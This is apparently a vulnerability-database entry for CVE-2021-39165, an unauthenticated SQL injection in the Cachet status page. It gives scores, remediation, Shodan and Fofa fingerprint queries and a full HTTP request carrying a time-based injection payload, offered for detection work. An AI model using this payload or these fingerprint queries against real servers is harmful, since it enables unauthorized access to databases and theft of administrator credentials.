🔙 목록으로 돌아가기

CVE-2021-39165: Cachet <=2.3.18 - SQL Injection

TitleCachet <=2.3.18 - SQL Injection
Authortess
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
RemediationUpgrade Cachet to a version higher than 2.3.18 or apply the necessary patches provided by the vendor.
CVSS Score6.5
EPSS Score0.8938
CVE IDCVE-2021-39165
CWE IDCWE-287
Shodan Queryhttp.favicon.hash:-1606065523
Fofa Queryicon_hash=-1606065523
Tags time-based-sqli cve cve2021 cachet sqli chachethq vuln

🔍 Vulnerability Description

Cachet is an open source status page. With Cachet prior to and including 2.3.18, there is a SQL injection which is in the SearchableTrait#scopeSearch(). Attackers without authentication can utilize this vulnerability to exfiltrate sensitive data from the database such as administrator’s password and session. The original repository of Cachet https://github.com/CachetHQ/Cachet is not active, the stable version 2.3.18 and it’s developing 2.4 branch is affected.

🌐 HTTP Request

GET /api/v1/components?name=1&1%5B0%5D&1%5B1%5D=a&1%5B2%5D&1%5B3%5D=or+'a'='a')%20and%20(select%20sleep(6))-- HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-39165.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-39165.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A